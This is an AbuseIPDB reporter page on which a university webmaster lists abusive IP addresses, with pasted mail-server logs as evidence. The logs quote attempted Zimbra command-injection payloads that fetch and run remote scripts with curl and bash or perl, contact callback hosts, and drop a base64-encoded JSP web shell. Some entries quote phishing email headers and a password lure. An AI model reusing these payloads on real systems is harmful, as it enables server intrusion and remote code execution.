AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

The webmaster of www.cure.edu.uy joined AbuseIPDB in June 2023 and has reported 13 IP addresses.

Standing (weight) is good.

ACTIVE USER WEBMASTER

IP	Date	Comment	Categories
🇭🇰 103.43.16.143	23 hours ago	/var/log/mail.log.4.gz:2026-08-31T05:46:38.376781-03:00 godel postfix/submission/smtpd[221069]: NOQU ... show more /var/log/mail.log.4.gz:2026-08-31T05:46:38.376781-03:00 godel postfix/submission/smtpd[221069]: NOQUEUE: reject: RCPT from unknown[103.43.16.143]: 554 5.7.1 <unknown[103.43.16.143]>: Client host rejected: Access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl http://103.43.16.143:8888/cb/correo.cucel.edu.uy) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid> /var/log/mail.log.4.gz:2026-08-31T07:12:05.759949-03:00 godel postfix/submission/smtpd[441305]: NOQUEUE: reject: RCPT from unknown[103.43.16.143]: 554 5.7.1 <unknown[103.43.16.143]>: Client host rejected: Access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl http://103.43.16.143:8888/cb/smtps.cup.edu.uy) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid> show less	Hacking
🇮🇹 149.154.157.117	23 hours ago	2026-08-31T22:38:44.177499-03:00 godel postfix/submission/smtpd[2319713]: NOQUEUE: reject: RCPT from ... show more 2026-08-31T22:38:44.177499-03:00 godel postfix/submission/smtpd[2319713]: NOQUEUE: reject: RCPT from unknown[149.154.157.117]: 554 5.7.1 <unknown[149.154.157.117]>: Client host rejected: Access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl${IFS}-s${IFS}--max-time${IFS}12${IFS}http://mf6fa79918933.dab2neuth7lhqo4i1do0fzk5j4pwmwb5c.oast.pro/b) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid> 2026-08-31T22:38:47.081759-03:00 godel postfix/submission/smtpd[2319713]: NOQUEUE: reject: RCPT from unknown[149.154.157.117]: 554 5.7.1 <unknown[149.154.157.117]>: Client host rejected: Access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl${IFS}-s${IFS}--max-time${IFS}12${IFS}http://m8de4dcf50018.dab2neuth7lhqo4i1do0fzk5j4pwmwb5c.oast.pro/b) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid> show less	Hacking
🇮🇩 130.94.92.169	23 hours ago	/var/log/mail.log:2026-08-31T16:27:09.642289-03:00 godel postfix/smtps/smtpd[1425255]: NOQUEUE: filt ... show more /var/log/mail.log:2026-08-31T16:27:09.642289-03:00 godel postfix/smtps/smtpd[1425255]: NOQUEUE: filter: RCPT from unknown[130.94.92.169]: <[email protected]>: Sender address triggers FILTER smtp-amavis:[127.0.0.1]:10024; from=<[email protected]> to=<"x: Service status change: localhost $(echo PCVAIHBhZ2UgaW1wb3J0PSJqYXZhLmlvLioiICU+CjwlClN0cmluZyBjbWQgPSByZXF1ZXN0LmdldFBhcmFtZXRlcigieGQiKTsKaWYgKGNtZCAhPSBudWxsICYmICFjbWQuaXNFbXB0eSgpKSB7CiAgICBQcm9jZXNzQnVpbGRlciBwYiA9IG5ldyBQcm9jZXNzQnVpbGRlcigiL2Jpbi9zaCIsICItYyIsIGNtZCk7CiAgICBwYi5yZWRpcmVjdEVycm9yU3RyZWFtKHRydWUpOwogICAgUHJvY2VzcyBwID0gcGIuc3RhcnQoKTsKICAgIEJ1ZmZlcmVkUmVhZGVyIHIgPSBuZXcgQnVmZmVyZWRSZWFkZXIobmV3IElucHV0U3RyZWFtUmVhZGVyKHAuZ2V0SW5wdXRTdHJlYW0oKSwgIlVURi04IikpOwogICAgU3RyaW5nQnVpbGRlciBzYiA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICBTdHJpbmcgbGluZTsKICAgIHdoaWxlICgobGluZSA9IHIucmVhZExpbmUoKSkgIT0gbnVsbCkgeyBzYi5hcHBlbmQobGluZSk7IHNiLmFwcGVuZCgiXG4iKTsgfQogICAgb3V0LnByaW50KCI8cHJlPiIgKyBzYi50b1N0cmluZygpICsgIjwvcHJlPiIpOwp9CiU+Cg== \| base64 -d > /opt/zi show less	Hacking
🇵🇹 149.22.86.5	31 Aug 2026	/var/log/mail.log.4.gz:2026-08-28T05:36:06.974012-03:00 godel postfix/submission/smtpd[1443099]: NOQ ... show more /var/log/mail.log.4.gz:2026-08-28T05:36:06.974012-03:00 godel postfix/submission/smtpd[1443099]: NOQUEUE: reject: RCPT from unknown[149.22.86.5]: 554 5.7.1 <unknown[149.22.86.5]>: Client host rejected: Access denied; from=<[email protected]> to=<"x: Service status change: localhost $(T=/tmp/.dl_$$;rm -f $T;wget -q --no-check-certificate -O $T 'https://lazyrabbit.pages.dev/safe' 2>/dev/null \|\| curl -fsSLk 'https://lazyrabbit.pages.dev/safe' -o $T 2>/dev/null \|\| (U='https://lazyrabbit.pages.dev/safe'; N=0; while [ $N -lt 20 ]; do N=$((N+1)); H=$(echo $U \| sed -e 's\|^[a-z]://\|\|' -e 's\|/.\|\|'); P=$(echo $H \| grep -o ':[0-9]$' \| tr -d ':'); H=$(echo $H \| sed 's\|:[0-9]$\|\|'); [ -z \"$P\" ] && P=443; PT=$(echo $U \| sed -e 's\|^[a-z]://[^/]/\|\|' -e 's\|^/\|\|'); [ -z \"$PT\" ] && PT=/; R=$(printf 'GET /%s HTTP/1.0\\r\\nHost: %s\\r\\nUser-Agent: wget/1.0\\r\\n\\r\\n' \"$PT\" \"$H\" \| openssl s_client -quiet -connect \"$H:$P\" 2>/dev/null); L=$(echo \"$R\" \| show less	Hacking
🇭🇰 104.192.80.174	31 Aug 2026	Aug 31 03:56:38 dirac postfix/submission/smtpd[2862161]: NOQUEUE: reject: RCPT from unknown[104.192. ... show more Aug 31 03:56:38 dirac postfix/submission/smtpd[2862161]: NOQUEUE: reject: RCPT from unknown[104.192.80.174]: 554 5.7.1 <unknown[104.192.80.174]>: Client host rejected: Access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl http://104.192.80.174:8081/1.html\|bash) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid> show less	Hacking
🇭🇰 103.43.16.143	31 Aug 2026	Aug 30 23:46:52 dirac postfix/submission/smtpd[2674759]: NOQUEUE: reject: RCPT from unknown[103.43.1 ... show more Aug 30 23:46:52 dirac postfix/submission/smtpd[2674759]: NOQUEUE: reject: RCPT from unknown[103.43.16.143]: 554 5.7.1 <unknown[103.43.16.143]>: Client host rejected: Access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl http://103.43.16.143:8888/cb/dirac.interior.edu.uy) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid> Aug 30 23:48:40 dirac postfix/submission/smtpd[2671738]: NOQUEUE: reject: RCPT from unknown[103.43.16.143]: 554 5.7.1 <unknown[103.43.16.143]>: Client host rejected: Access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl http://103.43.16.143:8888/cb/dirac.csic.edu.uy) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid> show less	Hacking
🇹🇭 92.63.180.178	31 Aug 2026	Aug 30 13:34:04 dirac postfix/smtpd[2209859]: warning: Illegal address syntax from unknown[92.63.180 ... show more Aug 30 13:34:04 dirac postfix/smtpd[2209859]: warning: Illegal address syntax from unknown[92.63.180.178] in MAIL command: <Service status change: foo $(echo VULN_ymqdh0>/opt/zimbra/jetty/webapps/zimbra/public/poc_vdgcvh.txt) Aug 30 13:38:50 dirac postfix/postscreen[4118885]: PREGREET 135 after 0 from [92.63.180.178]:60502: Service status change: foo $(echo VULN_ymqdh0>/opt/zimbra/jetty/webapps/zimbra/public/poc_vdgcvh.txt Aug 30 13:38:51 dirac postfix/smtpd[2209859]: warning: Illegal address syntax from unknown[92.63.180.178] in VRFY command: Service status change: foo $(echo VULN_ymqdh0>/opt/zimbra/jetty/webapps/zimbra/public/poc_vdgcvh.txt) changed from stopped to running Aug 30 13:38:52 dirac postfix/smtpd[2209859]: warning: Illegal address syntax from unknown[92.63.180.178] in RCPT command: <Service status change: foo $(echo VULN_ymqdh0>/opt/zimbra/jetty/webapps/zimbra/public/poc_vdgcvh.txt) show less	Hacking
🇺🇸 147.182.224.216	31 Aug 2026	Aug 30 04:12:39 dirac postfix/submission/smtpd[1804218]: NOQUEUE: reject: RCPT from mail.1840andco.m ... show more Aug 30 04:12:39 dirac postfix/submission/smtpd[1804218]: NOQUEUE: reject: RCPT from mail.1840andco.me[51.79.141.52]: 554 5.7.1 <mail.1840andco.me[51.79.141.52]>: Client host rejected: Access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl -sS 147.182.224.216/zed\|perl) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid> Aug 30 05:15:27 dirac postfix/submission/smtpd[1849550]: NOQUEUE: reject: RCPT from mail.1840andco.me[51.79.141.52]: 554 5.7.1 <mail.1840andco.me[51.79.141.52]>: Client host rejected: Access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl -sS 147.182.224.216/zed\|perl) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid> Aug 30 13:34:04 dirac postfix/smtpd[2209859]: warning: Illegal address syntax from unknown[92.63.180.178] in MAIL command: <Service status change: foo $(echo VULN_ymqdh0>/opt/zimbra/jetty/webapps/zimbra/public/poc_vdgcvh.txt) show less	Hacking
🇸🇬 51.79.141.52	31 Aug 2026	Aug 30 04:12:39 dirac postfix/submission/smtpd[1804218]: NOQUEUE: reject: RCPT from mail.1840andco.m ... show more Aug 30 04:12:39 dirac postfix/submission/smtpd[1804218]: NOQUEUE: reject: RCPT from mail.1840andco.me[51.79.141.52]: 554 5.7.1 <mail.1840andco.me[51.79.141.52]>: Client host rejected: Access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl -sS 147.182.224.216/zed\|perl) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid> Aug 30 05:15:27 dirac postfix/submission/smtpd[1849550]: NOQUEUE: reject: RCPT from mail.1840andco.me[51.79.141.52]: 554 5.7.1 <mail.1840andco.me[51.79.141.52]>: Client host rejected: Access denied; from=<[email protected]> to=<"x: Service status change: localhost $(curl -sS 147.182.224.216/zed\|perl) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid> Aug 30 13:34:04 dirac postfix/smtpd[2209859]: warning: Illegal address syntax from unknown[92.63.180.178] in MAIL command: <Service status change: foo $(echo VULN_ymqdh0>/opt/zimbra/jetty/webapps/zimbra/public/poc_vdgcvh.txt) show less	Hacking
🇧🇷 173.244.55.124	09 Apr 2026		Phishing
🇮🇪 18.202.127.127	06 Apr 2026	Received: from mail.parliament.go.ke (mail.parliament.go.ke [10.0.0.20]) by mail.parliament.go.ke ... show more Received: from mail.parliament.go.ke (mail.parliament.go.ke [10.0.0.20]) by mail.parliament.go.ke (Postfix) with ESMTP id C113E542780C; Mon, 30 Mar 2026 00:29:20 +0300 (EAT) Date: Mon, 30 Mar 2026 00:29:20 +0300 (EAT) From: Mesa de Ayuda de =?utf-8?Q?Administraci=C3=B3n?= <[email protected]> Message-ID: <[email protected]> Subject: =?utf-8?Q?Mesa_de_Ayuda_de_Administraci=C3=B3n?= MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="=_4d88c080-b971-4aea-8bba-ab5a11291fd7" X-Originating-IP: [10.0.0.24] X-Mailer: Zimbra 9.0.0_GA_4718 (ZimbraModernWebClient - GC146 (Windows)/9.0.0_GA_4718) Thread-Index: rTPgkPR7TvpdbdetC2ifTzYB3hCuZQ== Thread-Topic: Mesa de Ayuda de =?utf-8?Q?Administraci=C3=B3n?= show less	Email Spam
🇵🇭 120.72.28.82	12 Oct 2025	Mail with phishing content: Received: from mail-new.dctechmicro.com (mail-new.dctechmicro.com [120. ... show more Mail with phishing content: Received: from mail-new.dctechmicro.com (mail-new.dctechmicro.com [120.72.28.82]) by mail3.dctechmicro.com (Postfix) with ESMTP id 8C4881C66CE; Sun, 12 Oct 2025 13:08:54 +0800 (PST) Date: Sun, 12 Oct 2025 13:07:16 +0800 (PHT) From: Bartolome Pamat <[email protected]> Message-ID: <[email protected]> Subject: *** SPAM *** MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_Part_6853_2115043356.1760245636689" X-Originating-IP: [3.135.238.245] X-Mailer: Zimbra 8.6.0_GA_1153 (zclient/8.6.0_GA_1153) Thread-Topic: Thread-Index: lpbDR4z9Kd8GeMgH118zvTf1AJizFQ== ------=_Part_6853_2115043356.1760245636689 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit Your email password expires in 2 days to retain email password and details. CLICK HERE to update immediately. show less	Email Spam
🇵🇭 202.137.112.165	12 Oct 2025	Mail with phishing content	Email Spam